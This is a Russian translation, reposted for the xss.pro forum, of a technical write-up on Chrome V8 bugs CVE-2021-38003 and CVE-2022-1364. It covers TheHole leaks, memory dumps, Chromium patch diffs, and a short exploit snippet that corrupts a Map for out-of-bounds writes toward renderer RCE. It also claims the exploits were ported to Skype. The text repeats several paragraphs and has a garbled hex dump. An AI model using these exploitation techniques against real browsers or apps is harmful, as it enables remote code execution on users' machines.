ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Solidity hacking by Jolah Milovsky---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09
Проблема 1263462 была исправлена просто и жестоко:
Решение состояло в том, чтобы изменить DCHECK на CHECK. Но такие простые и жестокие исправления часто оставляют интересные проблемы или даже снова приводят к проблемам с безопасностью. Эксплойт CVE-2022–1364 доказывает это.
Прежде чем анализировать уязвимость, нам потребуется краткое понимание оптимизации и деоптимизации v8 в современных атаках на браузер Chrome. Нам также необходимо иметь базовое представление о состояниях фрейма в v8. Таким образом, рекомендуется хорошо прочитать V8 Optimize: FrameState и базовый обзор issue788539.
Точно так же, как объекты True/False/null/undefined из JavaScript, тип TheHole тоже ODDBALL_TYPE, но мы не можем получить TheHole из JavaScript напрямую без помощи нативного синтаксиса, потому что Chrome не позволяет TheHole существовать в JavaScript. Такой вывод легко сделать из исходного кода Chromium.
0x02-Разметка памяти TheHole
Еще один момент, о котором стоит упомянуть, заключается в том, что, поскольку объект TheHole принадлежит ODDBALL_TYPE, его структура памяти очень близка к собственному начальному объекту v8. В версии 8–10.0.1 мы можем получить базовые знания о структуре памяти TheHole и ее карте.
Основываясь на базовых знаниях вышеизложенного, легко увидеть, что адрес объекта TheHole Map — 0x1CD108002420. Map (расположенная в памяти 0x1CD108002130) этого объекта (расположенная в памяти 0x1CD108002420) указывает на себя. Результат парсинга gdb следующий:
Поскольку Map объекта — это он сам, рекурсивный анализ Map в конце концов заканчивается. Такая структура памяти очень удобна, когда мы создаем фальшивые объекты, например, такие как 1084820. Если действительно трудно настроить стабильную структуру памяти, мы можем подумать о подделке/утечке TheHole из подделки самого примитивного объекта и имитируя разводку памяти по адресу 0x1CD108002130.
После того, как объект TheHole будет возвращен в JavaScript, мы можем изменить map.size до -1 легко. использовать методы эксплуатации из отчета о проблеме 1263462 . Но на этот раз он отличается от выпуска 1150649 и т. д., поскольку размер -1 не может дать нам возможность произвольного чтения и записи памяти. После попытки использовать map1.set(), map1.size увеличится до 0. Таким образом, я думаю, что ключевым моментом этого эксплойта является правильное уничтожение памяти с помощью функции map1.set, а затем добиться возможности чтения и записи и, наконец, получить RCE, как обычно. Эксплойт CVE-2022-1364 почти идентичен CVE-2021-38003.
Используя m в качестве объекта Map, мы можем получить такую структуру памяти:
Нам нужно прояснить, как разобрать адрес 0x2DB60810AE74:
Нетрудно сделать вывод, что: данные, расположенные в памяти 0x2DB60810AE74, являются Map Просто имейте в виду, что в хеш-таблицах емкость всегда может быть выражена как степень числа 2. В пустой хэш-таблице есть два сегмента с максимальной емкостью 2 * число_бакетов.
Было бы лучше, если бы мы тщательно делали как можно меньше операций записи за пределы допустимого диапазона. Я думаю, что это артефакт написания эксплойта. В конце концов мы достигаем выхода за пределы записи, а остальные шаги согласуются с обычными идеями.
Google исправила этот эксплойт как можно скорее. Функции, как Map.prototype.delete, Set.prototype.delete, WeakMap.prototype.deleten а также WeakSet.prototype.delete, были пропатчены Hard check TheHole. Если аргументом ключа является TheHole, произойдет сбой рендеринга. Какой жесткий и брутальный патч!
Честно говоря, когда мы говорим о Chrome Patch Gap, мы постоянно упоминаем последнюю версию мессенджеров, таких как Skype.
https://twitter.com/frust93717815/status/1382301769577861123
https://chromium.googlesource.com/v8/v8/+/66c8de2cdac10cad9e622ecededda411b44ac5b3%5E%21/#F0
https://itnext.io/v8-deep-dives-understanding-map-internals-45eb94a183df
https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/js-call-reducer.cc;drc=a6d43952bb3bc5a90e3d085f4e2a94320d80cc9c;l=754
https://bugs.chromium.org/p/chromium/issues/detail?id=1263462
https://bugs.chromium.org/p/chromium/issues/detail?id=1315901
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Solidity hacking by Jolah Milovsky---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09
0x00
CVE-2021-38003
CVE-2021–38003, или Issue 1263462 , была уязвимостью, обнаруженной в 2021 году. Основная причина этой уязвимости заключалась в том, что JsonStringifier::SerializeObject() не установил pending_exception до возврата этой функции. В результате хакеры могут слить объект TheHole в JavaScript (дополнительную информацию см. в официальном отчете Google). Это нарушает предположения исходного кода Chrome и в конечном итоге приводит к повреждению памяти в процессе Chrome Render. Poc, опубликованный в отчете Google, показывает, что, установив map.size до -1, это может напрямую привести к сбою процесса. Поскольку вопрос уже был проанализирован общественностью, мы не будем его обсуждать.Проблема 1263462 была исправлена просто и жестоко:
Код с оформлением (BB-коды):
Object Isolate::pending_exception() {
- DCHECK(has_pending_exception());
+ CHECK(has_pending_exception());
DCHECK(!thread_local_top()->pending_exception_.IsException(this));
return thread_local_top()->pending_exception_;
}
Решение состояло в том, чтобы изменить DCHECK на CHECK. Но такие простые и жестокие исправления часто оставляют интересные проблемы или даже снова приводят к проблемам с безопасностью. Эксплойт CVE-2022–1364 доказывает это.
CVE-2022–1364
CVE-2022–1364, или проблема 1315901, была отправлена P0 13 апреля 2022 года. Сравнивая вывод до оптимизации функции, poc из отчета показывает, что это может привести к неправильному выводу после оптимизации функции. Основной причиной уязвимости было упущение нестандартного API:getThis. Эта небрежность в конечном итоге привела к утечке объекта TheHole в javascript. И с помощью функции мap.set хакеры могут получить рендеринг RCE в Chrome.Прежде чем анализировать уязвимость, нам потребуется краткое понимание оптимизации и деоптимизации v8 в современных атаках на браузер Chrome. Нам также необходимо иметь базовое представление о состояниях фрейма в v8. Таким образом, рекомендуется хорошо прочитать V8 Optimize: FrameState и базовый обзор issue788539.
0x01-Дыра в v8
TheHole — это специальный объект в v8. Давайте посмотрим на его структуру памяти в d8.
Код:
d8> load('/home/avboy/Desktop/poc.js');
hole
DebugPrint: 0x1cd108002449: [Oddball] in ReadOnlySpace: #hole
0x1cd108002421: [Map] in ReadOnlySpace
- type: ODDBALL_TYPE
- instance size: 28
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x1cd1080023d1 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x1cd1080021dd <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x1cd108002251 <null>
- constructor: 0x1cd108002251 <null>
- dependent code: 0x1cd1080021d1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
Точно так же, как объекты True/False/null/undefined из JavaScript, тип TheHole тоже ODDBALL_TYPE, но мы не можем получить TheHole из JavaScript напрямую без помощи нативного синтаксиса, потому что Chrome не позволяет TheHole существовать в JavaScript. Такой вывод легко сделать из исходного кода Chromium.
Код:
template <typename... Vars>
TNode<Object> MaybeSkipHole(
TNode<Object> o, ElementsKind kind,
GraphAssemblerLabel<sizeof...(Vars)>* continue_label,
TNode<Vars>... vars) {
// .........省略
// .........省略
// The contract is that we don't leak "the hole" into "user JavaScript",
// so we must rename the {element} here to explicitly exclude "the hole"
// from the type of {element}.
Bind(&if_not_hole);
return TypeGuardNonInternal(o);
}
0x02-Разметка памяти TheHole
Еще один момент, о котором стоит упомянуть, заключается в том, что, поскольку объект TheHole принадлежит ODDBALL_TYPE, его структура памяти очень близка к собственному начальному объекту v8. В версии 8–10.0.1 мы можем получить базовые знания о структуре памяти TheHole и ее карте.
Код:
Self
1CD108002130 08002131 1B00000A 0C0000F8 004003FF
1CD108002140 08002251 08002251 080021DD 080021D1
1CD108002150 00000000 00000000 0badbeef 0badbeef
Map
1CD108002420 08002131 39000007 0C000083 004003FF
1CD108002430 08002251 08002251 080021DD 080021D1
TheHole
1CD108002440 00000000 00000000 08002421 FFF7FFFF
Основываясь на базовых знаниях вышеизложенного, легко увидеть, что адрес объекта TheHole Map — 0x1CD108002420. Map (расположенная в памяти 0x1CD108002130) этого объекта (расположенная в памяти 0x1CD108002420) указывает на себя. Результат парсинга gdb следующий:
Код:
pwndbg> job 0x1CD108002131
0x1cd108002131: [Map] in ReadOnlySpace
- type: MAP_TYPE
- instance size: 40
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x1cd1080023d1 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x1cd1080021dd <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x1cd108002251 <null>
- constructor: 0x1cd108002251 <null>
- dependent code: 0x1cd1080021d1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
Поскольку Map объекта — это он сам, рекурсивный анализ Map в конце концов заканчивается. Такая структура памяти очень удобна, когда мы создаем фальшивые объекты, например, такие как 1084820. Если действительно трудно настроить стабильную структуру памяти, мы можем подумать о подделке/утечке TheHole из подделки самого примитивного объекта и имитируя разводку памяти по адресу 0x1CD108002130.
0x03-Эксплойт-процесс
Прежде чем писать эксплойт, было бы полезно иметь общее представление о структуре памяти объекта Map. Достаточно прочесть блог [V8 Deep Dives] Understanding Map Internals . Хотя основная причина CVE-2022–1364 отличается от CVE-2021–38003, она также не имеет ничего общего с синхронной корректировкой pending_exception_tag. Комбинируя построение объекта Error и оптимизацию, хакеры могут слить TheHole в JavaScript через неправильный анализ. Этот публичный POC определенно стоит изучить.После того, как объект TheHole будет возвращен в JavaScript, мы можем изменить map.size до -1 легко. использовать методы эксплуатации из отчета о проблеме 1263462 . Но на этот раз он отличается от выпуска 1150649 и т. д., поскольку размер -1 не может дать нам возможность произвольного чтения и записи памяти. После попытки использовать map1.set(), map1.size увеличится до 0. Таким образом, я думаю, что ключевым моментом этого эксплойта является правильное уничтожение памяти с помощью функции map1.set, а затем добиться возможности чтения и записи и, наконец, получить RCE, как обычно. Эксплойт CVE-2022-1364 почти идентичен CVE-2021-38003.
Memory of Map Layout
Тестовый сценарий выглядит следующим образом:
Код:
m = new Map();
%DebugPrint(m);
readline();
Используя m в качестве объекта Map, мы можем получить такую структуру памяти:
Код:
2ДБ60810АЭ54 082К2771 08002249 08002249 0810АЭ65
2DB60810AE64 08002C19 00000022 00000000 00000000
2DB60810AE74 00000004 FFFFFFFE FFFFFFFE 080023D1
Нам нужно прояснить, как разобрать адрес 0x2DB60810AE74:
Код:
pwndbg> job 0x2DB60810AE65
0x2db60810ae65: [OrderedHashMap]
- FixedArray length: 17
- elements: 0
- deleted: 0
- buckets: 2
- capacity: 4
- buckets: {
0: -1
1: -1
}
- elements: {
}
Нетрудно сделать вывод, что: данные, расположенные в памяти 0x2DB60810AE74, являются Map Просто имейте в виду, что в хеш-таблицах емкость всегда может быть выражена как степень числа 2. В пустой хэш-таблице есть два сегмента с максимальной емкостью 2 * число_бакетов.
Изменить объем Map
После того, как описанная выше теория будет реализована, давайте вернемся, чтобы закончить этот эксплойт. Как map.size равно -1, мы можем вызвать map.set и попытаться перезаписать что-нибудь. Теперь серьезно отнеситесь к изменению памяти в рамках Map, мы можем получить операцию перезаписи Это ключевая операция этого эксплойта. Мы должны позволить данным, которые были перезаписаны map.set, отвечают требованиям v8. После установки на большее значение мы получаем чтение и запись за пределами допустимого диапазона. Поскольку мы уложились в объем, мы не остановим процесс рендеринга Chrome. Этот важный оператор javascript для функции set map1.set(0x10, -1).Было бы лучше, если бы мы тщательно делали как можно меньше операций записи за пределы допустимого диапазона. Я думаю, что это артефакт написания эксплойта. В конце концов мы достигаем выхода за пределы записи, а остальные шаги согласуются с обычными идеями.
Эксплойт
Честно говоря, даже если нет таких уязвимостей, как CVE-2021–38003 и CVE-2022–1364, мы также можем добиться RCE рендеринга chrome, используя нативную функцию: %TheHole(). Просто убедитесь, что хэш коммита более ранний, чем 66c8de2cdac10cad9e622ecededda411b44ac5b3 . Этот метод эксплойта стабилен и не зависит от версии chrome/d8. Последний эксплойт по изменению длины массива здесь:
Код:
var map1 = null;
var foo_arr = null;
function getmap(m) {
m = new Map();
m.set(1, 1);
m.set(%TheHole(), 1);
m.delete(%TheHole());
m.delete(%TheHole());
m.delete(1);
return m;
}
for (let i = 0; i < 0x3000; i++) {
map1 = getmap(map1);
foo_arr = new Array(1.1, 1.1);//1.1=3ff199999999999a
}
map1.set(0x10, -1);
gc();
map1.set(foo_arr, 0xffff);
%DebugPrint(foo_arr);
0x04-Патч метода эксплойта
Как и в случае с issue1150649, когда детали проблемы были обнародованы, метод эксплойта также был обнародован. Два эксплойта, опубликованные в Твиттере в 2021 году, которые могут взломать последнюю версию Chrome, подтвердили эту идею.Google исправила этот эксплойт как можно скорее. Функции, как Map.prototype.delete, Set.prototype.delete, WeakMap.prototype.deleten а также WeakSet.prototype.delete, были пропатчены Hard check TheHole. Если аргументом ключа является TheHole, произойдет сбой рендеринга. Какой жесткий и брутальный патч!
Код:
@@ -1762,6 +1762,9 @@
ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE,
"Map.prototype.delete");
+ // This check breaks a known exploitation technique. See crbug.com/1263462
+ CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+
const TNode<OrderedHashMap> table =
LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
@@ -1930,6 +1933,9 @@
ThrowIfNotInstanceType(context, receiver, JS_SET_TYPE,
"Set.prototype.delete");
+ // This check breaks a known exploitation technique. See crbug.com/1263462
+ CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+
const TNode<OrderedHashSet> table =
LoadObjectField<OrderedHashSet>(CAST(receiver), JSMap::kTableOffset);
@@ -2878,6 +2884,9 @@
ThrowIfNotInstanceType(context, receiver, JS_WEAK_MAP_TYPE,
"WeakMap.prototype.delete");
+ // This check breaks a known exploitation technique. See crbug.com/1263462
+ CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+
Return(CallBuiltin(Builtin::kWeakCollectionDelete, context, receiver, key));
}
0x05-PatchGap
Учитывая широкое влияние Chrome Patch Gap. Как только мы закончили два эксплойта, мы быстро перевели их на последнюю версию Skype. Skype запускает встроенный браузер, когда мы нажимаем URL-адреса из белого списка. Предположим, есть XSS из URL-адресов из белого списка, также может быть RCE в последней версии Skype. Это можно увидеть на видео ниже:Честно говоря, когда мы говорим о Chrome Patch Gap, мы постоянно упоминаем последнюю версию мессенджеров, таких как Skype.
0x06-ссылки
https://chromium.googlesource.com/v8/v8/+/66c8de2cdac10cad9e622ecededda411b44ac5b3https://twitter.com/frust93717815/status/1382301769577861123
https://chromium.googlesource.com/v8/v8/+/66c8de2cdac10cad9e622ecededda411b44ac5b3%5E%21/#F0
https://itnext.io/v8-deep-dives-understanding-map-internals-45eb94a183df
https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/js-call-reducer.cc;drc=a6d43952bb3bc5a90e3d085f4e2a94320d80cc9c;l=754
https://bugs.chromium.org/p/chromium/issues/detail?id=1263462
https://bugs.chromium.org/p/chromium/issues/detail?id=1315901